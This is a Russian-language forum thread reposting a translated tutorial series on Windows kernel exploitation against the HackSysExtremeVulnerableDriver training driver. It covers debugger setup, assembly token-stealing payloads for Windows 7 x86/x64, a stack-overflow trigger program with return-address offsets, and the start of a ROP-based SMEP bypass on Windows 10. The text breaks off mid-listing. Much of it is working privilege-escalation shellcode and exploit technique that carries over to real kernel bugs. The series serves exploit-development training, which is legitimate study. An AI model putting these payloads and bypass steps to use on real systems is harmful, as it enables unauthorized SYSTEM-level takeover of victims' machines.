• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Эксплуатация уязвимостей уровня ядра в ОС Windows

weaver

31 c0 bb ea 1b e6 77 66 b8 88 13 50 ff d3
Забанен
Регистрация
19.12.2018
Сообщения
3 301
Решения
11
Реакции
4 622
Депозит
0.0001
Пожалуйста, обратите внимание, что пользователь заблокирован
Эксплуатация уязвимостей уровня ядра в ОС Windows. Часть 1 – Настройка рабочей среды

Автор:
Mohamed Shahat

Эта серия статей появилась по двум причинам. Во-первых, мне нравится работать с проектом HackSysExtremeVulnerableDriver. Во-вторых, я получил массу пожеланий, чтобы осветить эту тему.

Весь код, используемый при написании этой серии, находится в моем репозитории.

В данном цикле статей мы рассмотрим написание эксплоитов уровня ядра в ОС Windows. Важно отметить, что мы будем иметь дело с известными уязвимостями, и в реверс-инжиниринге нет необходимости (по крайней мере, для драйвера).

Предполагается, что после ознакомления со всеми статьями вы будете знать все наиболее распространенные классы брешей и методы эксплуатации, а также сможете портировать эксплоиты с архитектуры x86 на архитектуру x64 (если возможно) и ознакомитесь с новыми методами защиты в Windows 10.

Схема отладки ядра

В отличие от отладки на уровне пользователя, когда приостанавливается выполнение отдельного процесса, на уровне ядра задействуется вся система, и мы не сможем воспользоваться этим методом. Соответственно, нужна отдельная отладочная машина, которая сможет осуществлять коммуникацию с системой, где отлаживается ядро, просматривать память и структуры ядра, а также отлавливать крахи системы.

Дополнительный материал для изучения:
Эксплуатация уязвимостей ядра

Этот процесс проходит намного веселее, чем эксплуатация на уровне пользователя J.

Главная цель – добиться привилегированного выполнения в контексте ядра. А дальше уже все зависит от нашего воображения, начиная от застолья с домашним пивом и заканчивая внедрением вредоносов, спонсируемых государством.
В целом, наша задача заключается в том, чтобы получить шелл с системными привилегиями.

Темы статей этого цикла
  • Часть 1: Настройка рабочей среды
    • Конфигурирование трех виртуальных машин и системы, которая будет выступать в роли отладчика.
    • Конфигурирование отладчика WinDBG.
  • Часть 2: Полезные нагрузки
    • Изучение наиболее распространенных полезных нагрузок. В последующих частях будут рассматриваться конкретные уязвимости и, при необходимости, указываться ссылки на эту статью.
  • Остальные части.
    • Рассмотрение уязвимостей.
Жизненный цикл разработки эксплоита уровня ядра

  • Нахождение уязвимости. Эта тема не будет рассматриваться в данном цикле, поскольку мы уже точно знаем, где находятся бреши.
  • Перехват потока выполнения. Некоторые уязвимости предусматривают выполнение кода, для некоторых есть дополнительные требования.
  • Расширение привилегий. Главная цель – получить шелл с системными привилегиями.
  • Восстановление потока выполнения. Неучтенные исключения на уровне ядра приводят к краху системы. Если вы не собираетесь писать эксплоит для DoS-атаки, следует учитывать этот факт.
Типы целевых систем

Мы будем работать с уязвимостями в следующих системах (конкретная версия не принципиальна):
  • Win7 x86 VM
  • Win7 x64 VM
  • Win10 x64 VM
Начнем с архитектуры x86, и далее будем портировать эксплоит для системы Win7 x64. Некоторые эксплоиты не будут запускать на машинах с Win10 из-за присутствия новых защит. В этом случае мы либо будем изменять логику работы эксплоита, либо будем использовать полностью другой подход.

Используемое программное обеспечение:
Настройка систем для отладки

Отладочные системы, с которыми мы будем взаимодействовать, предназначены для загрузки уязвимого драйвера. На этих машинах часто будут возникать крахи, поскольку большинство исключений в ядре способствуют явлениям подобного рода. Необходимо выделить достаточно оперативной памяти для этих систем.

На каждой машине, которая будет отлаживаться, нужно сделать следующее:

  • Внутри директории VirtualKD запустите файл target\vminstall.exe. Добавится новая загрузочная запись и будут доступны функции отладки и автоматическое подключение к серверу VirtualKD, установленному в системе, которая выступает в роли отладчика.
В случае с Windows 10 VM необходимо включить режим test signing, который позволяет загружать неподписанные драйвера в ядро.

После выполнения команды bcdedit /set testsinging on и перезагрузки на рабочем столе появится надпись «Test Mode».

Примечание: Windows 10 позволяет осуществлять отладку ядра через сеть. Этот способ, на мой взгляд, быстрее.
  • Запустите OSR Driver Loader. Зарегистрируйте и запустите службу. Возможно, потребуется перезагрузка.
  • Установите дополнения на гостевой виртуальной машине (необязательное условие).
  • Добавьте учетную запись с низкими привилегиями, которая понадобится во время эксплуатации.
Код:
C:\Windows\system32>net user low low /add
The command completed successfully.

Настройкаотладчика

В системе, которая будет выступать в роли отладчика, будет использоваться WinDBG. Вы сможете инспектировать память, структуры данных и при необходимости выполнять манипуляции. Наличие удаленной отладочной сессии во время падения целевой системы позволит нам подключаться к виртуальной машине и анализировать крахи.

Хост VirtualKD будет выполнять коммуникацию автоматически через именованный канал, вместо установки соединения вручную. Если вы отлаживаете через сетьв Win10 VM, потребуется протестировать соединение вручную.
  • Установите Windows SDK. Вы можете выбрать только «Debugging Tools for Windows».
  • Проверьте, что установлен отладчик WinDBG. По умолчанию используется папка C:\Program Files (x86)\Windows Kits\10\Debuggers.
Добавьте этот путь в качестве системного и установите путь к отладчику в VirtualKD

Перезапустите гостевые виртуальные машины. Система с VirtualKD, используемая в качестве отладчика, должна быть запущена. После перезагрузки вы сможете начать сессию в WinDBG.

Настройка WinDBG

Если все настроено корректно, WinDBG поставит выполнение на паузу и отобразит некоторую информацию, касающуюся целевой системы.

4058


Рисунок 1: Остановка выполнения кода ядра

Символы содержат отладочную информацию для множества бинарных файлов в ОС Window. Загрузить символы можно при помощи следующей команды:

Код:
.sympath srv*c:\Symbols*http://msdl.microsoft.com/download/symbols;C:\HEVD
.reload /f *.*

Включаем режим подробного информирования процесса отладки.

Код:
ed nt!Kd_Default_Mask 0xf

Должен загрузиться модуль HEVD:

Код:
kd> lm m HEVD
Browse full module list
start end module name
fffff80b`92b50000 fffff80b`92b59000 HEVD (deferred)

Сохраняем настройки профиля и любые изменения рабочей среды:

Код:
File -> Save Workspace to File

Введите команду g или нажмите клавишу F5 для продолжения выполнения (перечень других команд, которые вам могут пригодиться, хорошо описан в этом документе).

Краткое описание модуля HEVD

Процедура DriverEntry является стартовой для каждого драйвера:

Код:
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) {
UINT32 i = 0;
PDEVICE_OBJECT DeviceObject = NULL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
UNICODE_STRING DeviceName, DosDeviceName = {0};

UNREFERENCED_PARAMETER(RegistryPath);
PAGED_CODE();

RtlInitUnicodeString(&DeviceName, L"\\Device\\HackSysExtremeVulnerableDriver");
RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\HackSysExtremeVulnerableDriver");

// Create the device
Status = IoCreateDevice(DriverObject,
0,
&DeviceName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&DeviceObject);

...
}
  • Эта процедура содержит вызов функции IoCreateDevice, содержащей имя драйвера, которое мы будем использовать во время коммуникации.
  • В объект DriverObjectбудут добавлены нужные структуры и указатели на функции.
  • Для нас важен указатель функции, связанный с процедурой DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL], отвечающей за обработку IOCTL (I/O Control; управление вводом/выводом);
  • В HEVD эта функция называется IrpDeviceIoCtlHandler, которая представляет собой большое условное выражение со множеством ответвлений для каждого IOCTL. Каждая уязвимость имеет уникальный IOCTL.
Пример: HACKSYS_EVD_IOCTL_STACK_OVERFLOW представляет собой IOCTL, используемый для активации бреши, связанной с переполнением стека.

На этом первая часть завершается. В следующей статье мы поговорим о полезных нагрузках. На данный момент доступна только полезная нагрузка, предназначенная для кражи токенов, которая будет использоваться в третьей части.

P.S. Я понимаю, что существует масса тонкостей и проблем, с которыми вы можете столкнуться. Поскольку в этом цикле основное внимание уделяется разработке эксплоитов, вам придется решать все попутные проблемы самостоятельно. Однако все возникающие вопросы вы можете задавать в комментариях.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Эксплуатация уязвимостей уровня ядра в ОС Windows. Часть 2 – Полезные нагрузки

Автор:
Mohamed Shahat

Этот пост посвящен полезным нагрузкам, которые будут использоваться в следующих частях.

Весь код находится в моем репозитории.

Некоторые замечания
  • Иногда вы сможете управлять адресом возврата функции. В этом случае вы сможете указать этот адрес на буфер, находящийся в памяти пользовательского режима (user-mode) только если функция SMEP(Supervisor Mode Execution Protection) отключена.
  • Полезные нагрузки должны находиться в сегменте памяти, в котором разрешено выполнение. Если использовать память с атрибутами только на чтение или любую другую комбинацию, где отсутствуют права на выполнение, выполнение шелл-кода завершится неудачно из-за функции DEP (Data Execution Prevention; Предотвращение выполнение данных).
  • Полезные нагрузки написаны на ассемблере. Если вы не фанат копирования шестнадцатеричных строк, рекомендую выполнять компиляцию проекта на лету Visual Studio. Этот метод работает для архитектур x86 и x64 и позволяет избежать проблем при удалении начала/конца функций, создания RWX-буфера (read, write, execute) и копирования шелл-кода или записи встроенного ассемблерного x64-кода.
Руководство по настройке проекта в Visual Studio для записи встроенного ассемблерного x64-кода.

Существуют другие альтернативы:
  • Использование masm и копирование шелл-кода в RWX-буфер во время выполнения.
  • Использование функций с атрибутом naked. Однако этот метод работает только для x86.
  • Встроенный ассемблерный код также работает только для x86.
Базовая обертка полезной нагрузки для x86

Код:
.386
.model flat, c ; cdecl / stdcall
ASSUME FS:NOTHING
.code
PUBLIC PAYLOAD
PAYLOAD proc

; Payload here

PAYLOAD ENDP
end

Базовая обертка полезной нагрузки для x64

Код:
.code
PUBLIC PAYLOAD
PAYLOAD proc

; Payload here

PAYLOAD ENDP
end

Краткое описание внутреннего устройства процесса
  • Каждый Windows-процесс представлен структурой EPROCESS. Содержимое EPROCESS доступно для ознакомления при помощи команды dt nt!_EPROCESS optional_process_address.
  • Большинство структур EPROCESS находится в пространстве ядра. PEB(Process Environment Block; Блок окружения процесса) находится в пространстве пользователя. Соответственно, код пространства пользователя может взаимодействовать с этой структурой. Содержимое PEB доступно для ознакомления при помощи команды dt nt!_PEB optional_process_address. Если вы находитесь в контексте процесса, можете воспользоваться альтернативной командой !peb
Код:
kd> !process 0 0 explorer.exe
PROCESS ffff9384fb0c35c0
SessionId: 1 Cid: 0fc4 Peb: 00bc3000 ParentCid: 0fb4
DirBase: 3a1df000 ObjectTable: ffffaa88aa0de500 HandleCount: 1729.
Image: explorer.exe

kd> .process /i ffff9384fb0c35c0
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.

kd> g
Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPointWithStatus:
fffff802`80002c60 cc int 3

kd> !peb
PEB at 0000000000bc3000
InheritedAddressSpace: No
ReadImageFileExecOptions: No

...
  • Структура EPROCESS содержит поле Token, которое сообщает системе о том, какие привилегии у процесса. Наша цель – токен привилегированного процесса (например, System). Если мы сможет украсть токен и перезаписать токен текущего процесса, привилегии текущего процесса повысятся. Эта техника называется «расширение привилегий».
  • В разные операционных системах используются разные смещения. Соответственно, вам нужно менять эти значения в полезной нагрузке. WinDBG – ваш друг и помощник.
Полезная нагрузка для кражи токена

Представьте себе, что мы умеем запускать любой код с целью замены токена текущего процесса на более привилегированный токен, с чего бы мы начали? Первая мысль, которая приходит в голову – PCR, поскольку местонахождение этой структуры не меняется. При помощи WinDBG мы сможем найти структуру EPROCESS текущего процесса и произвести замену токена на токен процесса System (PID 4).

  • Нахождение PCR
PCR имеет фиксированное расположение (gs:[0] и fs:[0] для x64/x86)

  • Расположение PcrbData
Код:
kd> dt nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 GdtBase : Ptr64 _KGDTENTRY64
+0x008 TssBase : Ptr64 _KTSS64
+0x010 UserRsp : Uint8B
+0x018 Self : Ptr64 _KPCR
+0x020 CurrentPrcb : Ptr64 _KPRCB
+0x028 LockArray : Ptr64 _KSPIN_LOCK_QUEUE
+0x030 Used_Self : Ptr64 Void
+0x038 IdtBase : Ptr64 _KIDTENTRY64
+0x040 Unused : [2] Uint8B
+0x050 Irql : UChar
+0x051 SecondLevelCacheAssociativity : UChar
+0x052 ObsoleteNumber : UChar
+0x053 Fill0 : UChar
+0x054 Unused0 : [3] Uint4B
+0x060 MajorVersion : Uint2B
+0x062 MinorVersion : Uint2B
+0x064 StallScaleFactor : Uint4B
+0x068 Unused1 : [3] Ptr64 Void
+0x080 KernelReserved : [15] Uint4B
+0x0bc SecondLevelCacheSize : Uint4B
+0x0c0 HalReserved : [16] Uint4B
+0x100 Unused2 : Uint4B
+0x108 KdVersionBlock : Ptr64 Void
+0x110 Unused3 : Ptr64 Void
+0x118 PcrAlign1 : [24] Uint4B
+0x180 Prcb : _KPRCB <====

  • Расположение CurrentThread
Код:
kd> dt nt!_KPRCB
+0x000 MxCsr : Uint4B
+0x004 LegacyNumber : UChar
+0x005 ReservedMustBeZero : UChar
+0x006 InterruptRequest : UChar
+0x007 IdleHalt : UChar
+0x008 CurrentThread : Ptr64 _KTHREAD <====

  • Расположение EPROCESS текущего процесса
Адрес EPROCESS находится практически в том же месте: _KTHREAD.ApcState.Process.

  • Расположение EPROCESS процесса SYSTEM
Используя связанный список _EPROCESS.ActiveProcessLinks.Flink, мы может переходить между процессами итеративным путем. Во время каждой итерации нужно проверять, не равен ли UniqueProcessId числу 4, которое соответствует PID’у процесса System.

  • Замена токена
После нахождения заменяем токен текущего процесса на токен процесса SYSTEM.

Обратите внимание, что значение поля Token принадлежит типу _EX_FAST_REF, и младшие 4 бита не являются частью токена.

Код:
kd> dt _EX_FAST_REF
ntdll!_EX_FAST_REF
+0x000 Object : Ptr64 Void
+0x000 RefCnt : Pos 0, 4 Bits
+0x000 Value : Uint8B

Обычно при замене токена это значение нужно сохранять, однако я не сталкивался с какими-либо проблемами при заменах.

Полезная нагрузка для кражи токенов под Windows 7 x86 SP1

Код:
.386
.model flat, c ; cdecl / stdcall
ASSUME FS:NOTHING
.code
PUBLIC StealToken
StealToken proc

pushad ; Save registers state

; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, DWORD PTR fs:[eax + 124h] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS : [0x124]

mov eax, [eax + 50h] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, 04h ; WIN 7 SP1 SYSTEM process PID = 0x4

SearchSystemPID:
mov eax, [eax + 0B8h] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0B8h
cmp[eax + 0B4h], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID

mov edx, [eax + 0F8h] ; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + 0F8h], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub

StealToken ENDP
end

Полезная нагрузка для кражи токенов под Windows 7 x64

Код:
.code
PUBLIC GetToken
GetToken proc

; Start of Token Stealing Stub
xor rax, rax ; Set ZERO
mov rax, gs:[rax + 188h] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at GS : [0x188]

mov rax, [rax + 70h] ; Get nt!_KTHREAD.ApcState.Process
mov rcx, rax ; Copy current process _EPROCESS structure
mov r11, rcx ; Store Token.RefCnt
and r11, 7

mov rdx, 4h ; WIN 7 SP1 SYSTEM process PID = 0x4

SearchSystemPID:
mov rax, [rax + 188h] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub rax, 188h
cmp[rax + 180h], rdx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID

mov rdx, [rax + 208h] ; Get SYSTEM process nt!_EPROCESS.Token
and rdx, 0fffffffffffffff0h
or rdx, r11
mov[rcx + 208h], rdx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub

GetToken ENDP
end
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Эксплуатация уязвимостей уровня ядра в ОС Windows. Часть 3 – Переполнение буфера в стеке (Windows 7 x86/x64)

Автор:
Mohamed Shahat

Код эксплоита находится здесь.

Суть уязвимости

Код, показанный ниже, находится здесь.

Код:
NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE] = {0};


PAGED_CODE();


__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));


DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));


#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
// there will be no overflow
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Stack Overflow\n");


// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

return Status;
}

Метод TriggerStackOverflow вызывается через функцию StackOverflowIoctlHandler, которая является обработчиком IOCTL для HACKSYS_EVD_IOCTL_STACK_OVERFLOW.

Уязвимость довольно очевидна. Пользовательский буфер копируется в буфер ядра размером 2048 байт (512 * sizeof(ULONG)). Поскольку границы не проверяются, получаем классическую брешь, связанную с переполнением стека.

Инициация падения системы

Код:
include <Windows.h>
#include <stdio.h>

// IOCTL to trigger the stack overflow vuln, copied from HackSysExtremeVulnerableDriver/Driver/HackSysExtremeVulnerableDriver.h
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)

int main()
{
// 1. Create handle to driver
HANDLE device = CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);

printf("[+] Opened handle to device: 0x%x\n", device);

// 2. Allocate memory to construct buffer for device
char* uBuffer = (char*)VirtualAlloc(
NULL,
2200,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);

printf("[+] User buffer allocated: 0x%x\n", uBuffer);

RtlFillMemory(uBuffer, 2200 , 'A');

DWORD bytesRet;
// 3. Send IOCTL
DeviceIoControl(
device,
HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
uBuffer,
2200,
NULL,
0,
&bytesRet,
NULL
);
}

Скомпилированный код, показанный выше, копируем на виртуальную машину. Убеждаемся, что сессия WinDBG активна, и запускаем исполняемый файл из шелла. Работа отлаживаемой системы должна приостановиться, а WinDBG должен замигать на вашей рабочей машине.

HEVD показывает отладочную информацию (должен быть включен режим подробного информирования):

Код:
****** HACKSYS_EVD_STACKOVERFLOW ******
[+] UserBuffer: 0x000D0000
[+] UserBuffer Size: 0x1068
[+] KernelBuffer: 0xA271827C
[+] KernelBuffer Size: 0x800
[+] Triggering Stack Overflow

Введите команду k для отображения содержимого стека. Должно появиться примерно следующее:

Код:
kd> k
# ChildEBP RetAddr
00 8c812d0c 8292fce7 nt!RtlpBreakWithStatusInstruction
01 8c812d5c 829307e5 nt!KiBugCheckDebugBreak+0x1c
02 8c813120 828de3c1 nt!KeBugCheck2+0x68b
03 8c8131a0 82890be8 nt!MmAccessFault+0x104
04 8c8131a0 82888ff3 nt!KiTrap0E+0xdc
05 8c813234 93f666be nt!memcpy+0x33
06 8c813a98 41414141 HEVD!TriggerStackOverflow+0x94 [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 92]
WARNING: Frame IP not in any known module. Following frames may be wrong.
07 8c813aa4 41414141 0x41414141
08 8c813aa8 41414141 0x41414141
09 8c813aac 41414141 0x41414141
0a 8c813ab0 41414141 0x41414141
0b 8c813ab4 41414141 0x41414141

Если возобновить выполнение, 0x41414141 появится в регистре EIP. Ничего сложного J.

Контроль потока выполнения

Эксплуатация этой уязвимости в сочетании с полезной нагрузкой для кражи токена, которую мы рассматривали во второй части, не составляет особых сложностей. Полезная нагрузка конструируется в пространстве пользователя, после чего адрес буфера передается в качестве адреса возврата. Когда дело доходит до нужной функции, выполнение перенаправляется в буфер, находящийся в пространстве пользователя. Этот эксплоит направлен на расширение привилегий, когда вы выполняете код с более высокими правами, чем у вас есть.

Поскольку в Windows 7 функция SMEP отключена, мы можем просто указать на переход к полезной нагрузке в режиме пользователя и осуществить выполнение с привилегиями ядра.

Перезапускаем виртуальную машину, выполнив команду .reboot. Теперь нужно поставить точки останова на начало и конец функции. Для нахождения места возврата вычисляем смещение, используя команду uf.

Код:
kd> uf HEVD!TriggerStackOverflow
HEVD!TriggerStackOverflow [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 65]:
65 9176b62a push 80Ch
65 9176b62f push offset HEVD!__safe_se_handler_table+0xc8 (917691d8)
65 9176b634 call HEVD!__SEH_prolog4 (91768014)


...

Код:
101 9176b6ed call HEVD!__SEH_epilog4 (91768059)
101 9176b6f2 ret 8
kd> ? 9176b6f2 - HEVD!TriggerStackOverflow
Evaluate expression: 200 = 000000c8
kd> bu HEVD!TriggerStackOverflow
kd> bu HEVD!TriggerStackOverflow + 0xc8
kd> bl
0 e Disable Clear 9176b62a 0001 (0001) HEVD!TriggerStackOverflow
1 e Disable Clear 9176b6f2 0001 (0001) HEVD!TriggerStackOverflow+0xc8

Далее нужно найти смещение инструкции RET:
  • По адресу HEVD!TriggerStackOverflow+0x26 вызывается функция memset с адресом буфера ядра, находящегося в . Дойдите до этой инструкции.
  • Адрес @ebp + 4 указывает адрес процедуры RET. Мы можем рассчитать смещение от буфера ядра.
Код:
kd> ? (@ebp + 4) - @eax
Evaluate expression: 2076 = 0000081c

Теперь мы знаем, что адрес возврата хранится на расстоянии 2076 байт от начала буфера ядра.

Главный вопрос: что делать после выполнения полезной нагрузки.

Обнуление регистра

Попробуем посмотреть на то, что мы уже сделали, под другим углом. Перезапись адреса возврата первой функции в стеке означает, что оставшиеся инструкции этой функции выполнены не будут. Имеется в виду функция StackOverflowIoctlHandler по смещению 0x1e.

4061


Рисунок 1: Две инструкции (выделено синим), которые не будут выполнены

Как видно из рисунка выше, требуется выполнить две инструкции, находящиеся в конце нашей полезной нагрузки:

Код:
9176b718 pop ebp
9176b719 ret 8

Мы упустили еще одну деталь. Эта функция ожидает возвратное значение в , и любое содержимое, отличное от 0, будет расцениваться как ошибка. Соответственно, перед выполнением завершающих инструкций, нужно решить эту проблему:

Код:
xor eax, eax ; Set NTSTATUS SUCCEESS

Полная версия эксплоита находится здесь. Полезная нагрузка рассматривалась во второй части данного цикла.

4060


Рисунок 2: Демонстрация работы эксплоита для системы Windows 7 x86

Портирование эксплоита под Windows 7 64-bit

Схема переделки довольно проста:
  • Смещение от буфера в ядре становится 2056 байт вместо 2076 байт.
  • Используется полезная нагрузка для архитектуры x64 (см. вторую часть).
  • Адреса длиной 8 байт (потребуются некоторые изменения).
  • Дополнительные защиты отсутствуют.
4059


Рисунок 3: Демонстрация работы эксплоита для системы Windows 7 x64

Код эксплоита находится здесь.

Резюме

Буфер из пространства пользователя копируется в буфер ядра без проверки границ. Отсюда имеем уязвимость, связанную с переполнением стека.
  • Адрес возврата функции управляем и может указывать на буфер в пространстве пользователя, поскольку функция SMEP отключена.
  • Полезная нагрузка должна находиться в сегменте памяти с правами на выполнение, иначе сработает DEP.
  • Никакие исключения не следует игнорировать. Мы должны изменить поток выполнения после запуска полезной нагрузки. В нашем случае нужно установить в EAX возвратное значение равное 0 и выполнить оставшиеся инструкции в функции StackOverflowIoctlHandler перед возвратом.
На этом все. В четвертой части мы рассмотрим эксплуатацию этой уязвимости в Windows 10 и обход функции SMEP.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Эксплуатация уязвимостей уровня ядра в ОС Windows. Часть 4 – Переполнение буфера в стеке (обход SMEP)

Автор:
Mohamed Shahat

В третьей части рассматривалась эксплуатация уязвимости, связанной с переполнением буфера в стеке, в системах на базе Windows 7 x86/x64. В этой статье мы будем работать с системой Windows 10 x64, где по умолчанию включена функция SMEP.

Код эксплоита находится здесь.

Сборка Windows: 16299.15.amd64fre.rs3_release.170928-1534
Версия ntoskrnl: 10.0.16288.192
Вместо того чтобы растекаться мыслью по древу, сразу же запустим эксплоит в системе Windows 10 x64 и посмотрим, что произойдет.

Код:
kd> bu HEVD!TriggerStackOverflow + 0xc8

kd> g
Breakpoint 1 hit
HEVD!TriggerStackOverflow+0xc8:
fffff801`7c4d5708 ret

kd> k
# Child-SP RetAddr Call Site
00 ffffa308`83dfe798 00007ff6`8eff11d0 HEVD!TriggerStackOverflow+0xc8 [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 101]
01 ffffa308`83dfe7a0 ffffd50f`91a47110 0x00007ff6`8eff11d0
02 ffffa308`83dfe7a8 00000000`00000000 0xffffd50f`91a47110

Глядя на инструкцию по адресу 00007ff68eff11d0, мы понимаем, что с нашей полезной нагрузкой все в порядке, и, на первый взгляд, нет никаких сложностей.

Код:
kd> t
00007ff6`8eff11d0 xor rax,rax
kd> t
KDTARGET: Refreshing KD connection

*** Fatal System Error: 0x000000fc
(0x00007FF68EFF11D0,0x0000000037ADB025,0xFFFFA30883DFE610,0x0000000080000005)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

Ошибка по адресу 0x000000fc говорит о том, что существует проблема ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY, которая возникает из-за присутствия аппаратной защиты SMEP (Supervisor Mode Execution Prevention).
Если продолжить выполнение, появится всеми любимый синий экран.

4062


Рисунок1: Синий экран при появлении ошибки ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY

Что такое SMEP

SMEP (Supervisor Mode Execution Prevention) – это аппаратная защита, представленная компанией Intel под брендом OS Guard, которая не дает запускать код из пространства пользователя с привилегиями нулевого кольца. В результате попыток выполнить подобного рода манипуляции появляется синий экран. Этот метод защищает от эксплоитов, направленных на расширение привилегий, в которых используется полезная нагрузка, находящаяся в пространстве пользователя.

В регистре CR4 бит защиты SMEP находится под номером 20. Выдержка из документации:

Регистр CR4 содержит группу флагов, которые расширяют архитектуру и сигнализируют операционной системе или другим управляющим приложениям о специфических возможностях процессора.

Если этот бит равен 1, функция SMEP включена, в противном случае – отключена.

Более подробная информация указана в документации для разработчиков.

Обход SMEP

Существует несколько методов для обхода SMEP, с которыми я рекомендую ознакомиться для лучшего понимания темы. Мы будем пользоваться техникой, которая описывается в блоге j00ru:
  • Конструируем ROP-цепь, которая считывает содержимое регистра CR4, инвертирует двадцатый бит и записываем новое значение. С отключенной функцией SMEP мы можем «безопасно» перейти к нашей полезной нагрузке, находящейся в пространстве пользователя.
  • Если считать и/или изменить содержимого нельзя, можно восстановить (pop) «правильное» значение в регистр. Этот метод не так элегантен, однако является рабочим.
Важно отметить, что Hyperguard не позволяет изменять регистр CR4, если вы используете инстанс Hyper-V.

Выдержка из статьис сайта Microsoft:

Система безопасности на базе виртуализации (Virtualization-based security; VBS) предоставляет еще один уровень защиты против попыток выполнить вредоносный код в ядре. Например, Device Guard блокирует выполнение кода в неподписанной зоне памяти ядра, включая код, направленный на расширение привилегий. Методы, используемые в Device Guard, защищают ключевые моделезависимые регистры (MSR), управляющие регистры и регистры таблицы дескрипторов. Неавторизированные попытки изменения битовых полей управляющего регистра CR4, включая бит, отвечающий за включение/отключение SMEP, блокируются немедленно.

Все нужные нам гаджеты находится в файле ntoskrnl.exe, базовый адрес которого можно получить двумя способами. Первый метод – через функцию EnumDeviceDrivers. Некоторые могут возразить, что этот метод не очень надежен, хотя я не сталкивался с проблемами. С другой стороны, учитывая, что на эту функцию отсутствует общедоступная документация, лучше скрестить пальцы J. Второй метод – через функцию NtQuerySystemInformation (вначале нужно выполнить экспорт). Мы будем использовать первый способ.

Код:
LPVOID addresses[1000];
DWORD needed;

EnumDeviceDrivers(addresses, 1000, &needed);

printf("[+] Address of ntoskrnl.exe: 0x%p\n", addresses[0]);

После получения базового адреса можно поискать относительные смещения к гаджетам, которые будут использоваться в ROP-цепи.

Отсылаю вас к этой статье, где описывается поиск гаджетов.

Первый гаджет должен восстанавливать значение в регистр CR4. После нахождения нужной инструкции станет понятно, содержимое какого регистра нужно контролировать.

Код:
kd> uf nt!KiConfigureDynamicProcessor

nt!KiConfigureDynamicProcessor:
fffff802`2cc36ba8 sub rsp,28h
fffff802`2cc36bac call nt!KiEnableXSave (fffff802`2cc2df48)
fffff802`2cc36bb1 add rsp,28h
fffff802`2cc36bb5 ret

kd> uf fffff802`2cc2df48

nt!KiEnableXSave:
fffff802`2cc2df48 mov rcx,cr4
fffff802`2cc2df4b test qword ptr [nt!KeFeatureBits (fffff802`2cc0b118)],800000h

... snip ...

nt!KiEnableXSave+0x39b0:
fffff802`2cc318f8 btr rcx,12h
fffff802`2cc318fd mov cr4,rcx // First gadget!
fffff802`2cc31900 ret

kd> ? fffff802`2cc318fd - nt

Evaluate expression: 4341861 = 00000000`00424065

Гаджет#1 - mov cr4,rcx, адрес: nt + 0x424065

Теперь нужно найти способ контроля за содержимым регистра rcx. В статье, указанной выше, упоминается функция HvlEndSystemInterrupt:

Код:
kd> uf HvlEndSystemInterrupt

nt!HvlEndSystemInterrupt:
fffff802`cdb76b60 push rcx
fffff802`cdb76b62 push rax
fffff802`cdb76b63 push rdx
fffff802`cdb76b64 mov rdx,qword ptr gs:[6208h]
fffff802`cdb76b6d mov ecx,40000070h
